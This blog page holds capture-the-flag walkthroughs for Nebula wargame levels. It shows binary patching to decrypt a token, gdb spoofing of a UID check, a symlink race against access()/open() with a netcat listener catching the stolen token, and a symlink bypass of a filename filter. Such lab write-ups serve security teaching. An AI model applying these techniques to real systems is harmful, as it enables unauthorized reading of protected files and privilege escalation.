Showing posts with label token. Show all posts
Showing posts with label token. Show all posts

Monday, September 3, 2012

nebula level14

Level details:
This program resides in /home/flag14/flag14 . It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
This time we will have to figure out how the encryption routine works to come up with a decryption routine in order to decrypt the token.
The encryption algorithm turns out to be so easy that you can figure it out by simply experimenting with the binary. But if we were to employ a systematic approach, we'd have to analyze the binary, which is exactly what we will do. This time we'll use objdump as our disassembler. Using objdump -D to disassemble, we find that the encryption routine lies in <main>:
level14@nebula:~$ objdump -dMintel ~flag14/flag14

/home/flag14/flag14:     file format elf32-i386

...

08048464 <main>:
...
 8048482:       c7 44 24 2c 00 00 00    mov    DWORD PTR [esp+0x2c],0x0
...
 80484e1:       90                      nop
 80484e2:       c7 44 24 08 40 00 00    mov    DWORD PTR [esp+0x8],0x40
 80484e9:       00
 80484ea:       8d 44 24 3c             lea    eax,[esp+0x3c]
 80484ee:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80484f2:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80484f9:       e8 52 fe ff ff          call   8048350 <read@plt>
 80484fe:       89 44 24 34             mov    DWORD PTR [esp+0x34],eax
 8048502:       83 7c 24 34 00          cmp    DWORD PTR [esp+0x34],0x0
 8048507:       7f 0c                   jg     8048515 <main+0xb1>
 8048509:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048510:       e8 6b fe ff ff          call   8048380 <exit@plt>
 8048515:       c7 44 24 30 00 00 00    mov    DWORD PTR [esp+0x30],0x0
 804851c:       00
 804851d:       eb 29                   jmp    8048548 <main+0xe4>
 804851f:       8d 44 24 3c             lea    eax,[esp+0x3c]
 8048523:       03 44 24 30             add    eax,DWORD PTR [esp+0x30]
 8048527:       0f b6 00                movzx  eax,BYTE PTR [eax]
 804852a:       89 c2                   mov    edx,eax
 804852c:       8b 44 24 2c             mov    eax,DWORD PTR [esp+0x2c]
 8048530:       01 d0                   add    eax,edx
 8048532:       89 c2                   mov    edx,eax
 8048534:       8d 44 24 3c             lea    eax,[esp+0x3c]
 8048538:       03 44 24 30             add    eax,DWORD PTR [esp+0x30]
 804853c:       88 10                   mov    BYTE PTR [eax],dl
 804853e:       83 44 24 2c 01          add    DWORD PTR [esp+0x2c],0x1
 8048543:       83 44 24 30 01          add    DWORD PTR [esp+0x30],0x1
 8048548:       8b 44 24 30             mov    eax,DWORD PTR [esp+0x30]
 804854c:       3b 44 24 34             cmp    eax,DWORD PTR [esp+0x34]
 8048550:       7c cd                   jl     804851f <main+0xbb>
 8048552:       8b 44 24 34             mov    eax,DWORD PTR [esp+0x34]
 8048556:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804855a:       8d 44 24 3c             lea    eax,[esp+0x3c]
 804855e:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048562:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048569:       e8 32 fe ff ff          call   80483a0 <write@plt>
 804856e:       89 44 24 38             mov    DWORD PTR [esp+0x38],eax
 8048572:       83 7c 24 38 00          cmp    DWORD PTR [esp+0x38],0x0
 8048577:       0f 8f 64 ff ff ff       jg     80484e1 <main+0x7d>
...
The above is the C equivalent of a for loop inside a do-while loop. The input is being read in 64 (0x40) byte chunks, then each byte is added the value of it's (global) offset. (by global offset I mean that the offset is preserved across different chunks.)

The C equivalent code would look like:
int c = 0;
int i;
int rd;
unsigned char buffer[64];

do {
    rd = read(STDIN_FILENO, buffer, sizeof(buffer));
    if(rd <= 0)
        exit(0);

    for(i = 0; i < rd; i++)
        buffer[i] += c++;
} while(write(STDOUT_FILENO, buffer, rd) > 0);
Like I said, we could deduce the above routine by using purely observational analysis:
level14@nebula:~$ ~flag14/flag14 -e
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno9
Constructing the decryption routine consists of changing the += to -=
If you've noticed, we can reuse the flag14 binary to do the decryption for us by applying a simple patch here:
 8048530:       01 d0                   add    eax,edx
 8048532:       89 c2                   mov    edx,eax
We could change the add to a sub, but then we'd have to negate the result (because we would essentially be computing c - buffer[i], while we need -(c - buffer[i]) = buffer[i] - c). But we can't fit the 'neg eax' (2 bytes) and still put the result in edx. We'll have to come up with a better patch.
What if we could simply patch in 'sub edx, eax' and nop out the 'mov edx, eax' that follows? 2 bytes for the sub and 2 bytes for the nops, seems good.
But we can still do better... We can nop out the 'add eax, edx' and put the 'sub edx, eax' instead of 'mov edx, eax'. That's still 4 bytes, but notice that we can reuse the ModR/M byte of the mov instruction for our sub. That's 3 bytes:
level14@nebula:~$ # nop = 0x90
level14@nebula:~$ # sub edx, eax = 0x29 0xc2
level14@nebula:~$ echo -ne '\x90\x90\x29' > patch
level14@nebula:~$ cp ~flag14/flag14 flag14_decrypt
level14@nebula:~$ dd if=patch of=flag14_decrypt bs=1 seek=1328 conv=notrunc
3+0 records in
3+0 records out
3 bytes (3 B) copied, 0.000137174 s, 21.9 kB/s
level14@nebula:~$ ./flag14_decrypt -e < ~flag14/token
8457c118-887c-4e40-a5a6-33a25353165
                                   ▒level14@nebula:~$ su flag14 -c getflag
Password:
You have successfully executed getflag on a target account
We got another flag for just 3 bytes ;)

~ Dmitry

nebula level13

Level details:
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
This one is quite nice. Source code:

This program requires us to run it with a UID of 1000 in order to print the token. But let's think where that token actually comes from. The fact that not all of the source code is shown indicates that the token may be somehow generated (or even hardcoded) and then printed to us. The flag13 binary being SUID serves no purpose. We can easily reverse engineer how the token is generated. You could go for a static analysis approach and use a disassembler (I prefer IDA). This is however one of the cases where a dynamic approach is ideal. Since we don't need the elevated UID from the setuid bit, we can simply make getuid return 1000 ourselves. This could be done using LD_PRELOAD and writing our own getuid function in a library, but there's an even easier way. Simply use a debugger and modify the return value:
level13@nebula:~$ gdb -q ~flag13/flag13
Reading symbols from /home/flag13/flag13...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080484c4 <+0>:     push   %ebp
   0x080484c5 <+1>:     mov    %esp,%ebp
   0x080484c7 <+3>:     push   %edi
   0x080484c8 <+4>:     push   %ebx
   0x080484c9 <+5>:     and    $0xfffffff0,%esp
   0x080484cc <+8>:     sub    $0x130,%esp
   0x080484d2 <+14>:    mov    0xc(%ebp),%eax
   0x080484d5 <+17>:    mov    %eax,0x1c(%esp)
   0x080484d9 <+21>:    mov    0x10(%ebp),%eax
   0x080484dc <+24>:    mov    %eax,0x18(%esp)
   0x080484e0 <+28>:    mov    %gs:0x14,%eax
   0x080484e6 <+34>:    mov    %eax,0x12c(%esp)
   0x080484ed <+41>:    xor    %eax,%eax
   0x080484ef <+43>:    call   0x80483c0 
   0x080484f4 <+48>:    cmp    $0x3e8,%eax
   0x080484f9 <+53>:    je     0x8048531 
0x080484fb <+55>: call 0x80483c0 0x08048500 <+60>: mov $0x80486d0,%edx 0x08048505 <+65>: movl $0x3e8,0x8(%esp) 0x0804850d <+73>: mov %eax,0x4(%esp) 0x08048511 <+77>: mov %edx,(%esp) 0x08048514 <+80>: call 0x80483a0 ---Type to continue, or q to quit---q Quit (gdb) break *main+48 Breakpoint 1 at 0x80484f4 (gdb) commands 1 Type commands for breakpoint(s) 1, one per line. End with a line saying just "end". >set $eax = 1000 >c >end (gdb) r Starting program: /home/flag13/flag13 Breakpoint 1, 0x080484f4 in main () your token is b705702b-76a8-42b0-8844-3adabbe5ac58 [Inferior 1 (process 1330) exited with code 063] (gdb)
And there's our token :)
Keep in mind that when debugging a SUID binary, it actually runs as a normal binary, effectively dismissing the setuid bit. And LD_PRELOAD wouldn't work with a SUID binary.

Now go ahead and get the flag:
level13@nebula:~$ su flag13 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry

nebula level10

Level details:
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
Source code:

This program's purpose is to send a file to the specified host, if you have read access to the file. The access check however, is implemented poorly. The access man page warns us that there might exist a race condition if the above check is implemented:
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process's effective user ID to the real ID and then call open(2).)
We need to read the ~flag10/token. In order to successfully exploit the flag10 binary, we will make it check the access of a symbolic link which is continuously changing from a legit file to ~flag10/token, in the hope that it will change from the legit file to the actual token file during the time between the access() system call and the open() system call.
level10@nebula:~$ while true; do ln -sf /dev/null token; ln -sf ~flag10/token token; done &
[1] 11039
level10@nebula:~$ nc.traditional -l -p 18211 > loot & # traditional netcat FTW!
[2] 14719
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!
[2]+  Done                    nc.traditional -l -p 18211 > loot
level10@nebula:~$ kill -9 11039 # cleanup
level10@nebula:~$ cat fl
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
[1]+  Killed                  while true; do
    ln -sf /dev/null token; ln -sf ~flag10/token token;
done
Now go ahead and get the flag :)
level10@nebula:~$ su flag10 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry

Wednesday, August 8, 2012

nebula level04

Our objective this time is a bit different. As stated in http://exploit-exercises.com/nebula/level04, instead of directly impersonating flag04, our task is to get a token. The source code for /home/flag04/flag04 is given below.

After analyzing it, we conclude that the program is opening the file specified in the first argument, reading it's contents, and writing them to the standard output (1 is the file descriptor for the standard output, or stdout, else defined as STDOUT_FILENO).
In the /home/flag04 directory we notice that there's a file named token:
level04@nebula:~$ ls -l /home/flag04
total 12
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
Could we use flag04 to print out the contents of token? As it turns out, flag04 will not allow us to dump the contents of files containing "token" in their name.
This challenge requires us to know about symlinks (short for Symbolic Links). Symlinks are linux's equivalent of shortcuts. We can create a symlink using ln, and the resulting file will be effectively the same as the original file. You can learn more about symlinks in wikipedia or in ln's man page ("man ln").

Getting the token

Easily enough, we create a symlink for "token" with a different name, and run flag04 on it.
level04@nebula:~$ ln -s /home/flag04/token t
level04@nebula:~$ /home/flag04/flag04 t
06508b5e-8909-4f38-b630-fdb148a848a2
There's our token. As it turns out the token is also the password for user flag04.
So let's get that flag :)
level04@nebula:~$ su flag04 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry